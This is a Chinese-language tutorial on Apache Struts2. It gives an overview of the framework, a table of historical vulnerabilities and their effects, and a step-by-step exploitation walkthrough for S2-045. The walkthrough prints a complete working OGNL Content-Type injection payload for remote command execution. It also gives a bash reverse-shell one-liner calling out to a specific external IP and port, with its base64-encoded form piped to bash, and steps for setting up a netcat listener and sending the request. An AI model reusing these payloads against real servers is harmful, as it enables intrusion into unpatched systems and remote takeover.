本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Struts2简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级 Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts1和Struts2;Struts2是一个基于 MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器 (Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在 struts1和WebWork的 技术基础上进行了合并的全新的Struts2框架。
二、Struts2历史漏洞
| 漏洞编号 | CVE编号 | 影响版本 | 发送数据 | 实现功能 |
|---|---|---|---|---|
| S2-001 | CVE- 2007-4556 | Struts 2.0.0-2.0.8 | POST请求发送数据; 默认参数为:username,password | 获取WEB路径,任意命令 执行和反弹shell |
| S2-003 | Struts 2.0.0-2.0.11.2 | GET请求发送数据 | 任意命令执行 | |
| S2-005 | CVE- 2010- 1870 | Struts 2.0.0-2.1.8.1 | GET请求发送数据 | 获取WEB路径,任意命令 执荐 |
| S2-007 | CVE- 2012- 0838 | Struts 2.0.0-2.2.3 | POST请求发送数据; 默认参数 为:username,password | 任意命令执行和反弹shell |
| S2-008 | CVE- 2012- 0391 | Struts 2.1.0-2.3.1 | GET请求发送数据 | 任意命令执行和反弹 shell |
| S2-009 | CVE-2011- 3923 | Struts 2.0.0-2.3.1.1 | GET请求发送数据,URL后面 需要请求参数名;默认参数: key | 任意命令执行和反弹 shell |
| S2-012 | CVE- 2013- 1965 | Struts Showcase App 2.0.0-2.3.13 | GET请求发送数据,参数直接 添加到URL后面;默认参数:name | 任意命令执行和反弹 shell |
| S2- 013/S2- 014 | CVE- 2013- 1966 | Struts 2.0.0-2.3.14.1 | GET请求发送数据 | 获取WEB路径,任意命令 执行,反弹shel和文件上传 |
| S2-015 | CVE- 2013- 2135 | Struts 2.0.0-2.3.14.2 | GET请求发送数据 | 任意命令执行和反弹 shell |
| S2-016 | CVE-2013- 2251 | Struts 2.0.0-2.3.15 | GET请求发送数据 | 获取WEB路径,任意命令 执行,反弹shell和文件上传 |
| S2-019 | CVE- 2013-4316 | Struts 2.0.0-2.3.15.1 | GET请求发送数据 | 获取WEB路径,任意命令 执行,反弹shel和文件上传 |
| S2-020 | CVE- 2014- 0094 | Struts 2.0.0-2.3.16 | GET请求发送数据 | 任意命令执行,反弹shell 和文件上传 |
| S2-029 | CVE- 2016- 0785 | Struts 2.0.0- 2.3.24.1(除了 2.3.20.3) | POST请求发送数据,需要参 数; 默认参数:message | 任意命令执行和反弹 shell |
| S2-032 | CVE- 2016-3081 | Struts 2.3.20- 2.3.28(除了2.3.20.3和2.3.24.3) | GET请求发送数据 | 获取WEB路径,任意命令执行和反弹shell |
| S2-033 | CVE- 2016- 3087 | Struts 2.3.20- 2.3.28(除了2.3.20.3 和2.3.24.3) | GET请求发送数据 | 任意命令执行和反弹 shell |
| S2-037 | CVE-2016- 4438 | Struts 2.3.20- 2.3.28.1 | GET请求发送数据 | 获取WEB路径,任意命令 执行和反弹shell |
| S2-045 | CVE- 2017- 5638 | Struts 2.3.5- 2.3.31,2.5-2.5.10 | POST请求发送数据,不需要参数 | 获取WEB路径,任意命令 执行,反弹shell和文件上 |
| S2-052 | CVE- 2017- 9805 | Struts 2.1.2- 2.3.33,2.5-2.5.12 | POST请求发送数据,不需要参数 | 传专 任意命令执行,反弹shell 和文件上传 |
| S2-053 | CVE- 2017- 12611 | Struts 2.0.1- 2.3.33,2.5-2.5.10 | GET请求发送数据 | 任意命令执行,反弹shell |
| S2-057 | CVE-2018- 11776 | Struts 2.3-2.3.34,2.5-2.5.16 | GET请求发送数据 | 任意命令执行,反弹shell |
| S2-059 | CVE- 2019- 0230 | Struts 2.0.0-2.5.20 | POST请求发送数据 | 任意命令执行 |
三、Struts2历史漏洞发现
1.Struts2框架识别
- 通过网页后缀来进行判断,如 .do或者
- 通过 .action /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
2. Struts2漏洞检测工具
四、Struts2历史漏洞利用
1.Struts 2-045
1)漏洞简介
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意 用户可在上传文件时通过修改 HTTP请求头中的 Content-Type值来触发该漏洞,进而执行系统命令。
2)影响范围
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
3)漏洞利用
(1)访问目标地址

(2)随意上传一个文件并抓包,修改Content-Type为以下内容
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

(3)构造反弹Shell语句
Java 反弹shell 时,需要Base64 编码反弹shell 语句
bash -i >& /dev/tcp/120.79.150.243/7777 0>&1
base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=
添加base64 -d解码与bash -i执行:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=|base64 -d|bash -i
(4)nc监听开启
(5)构造请求并发送

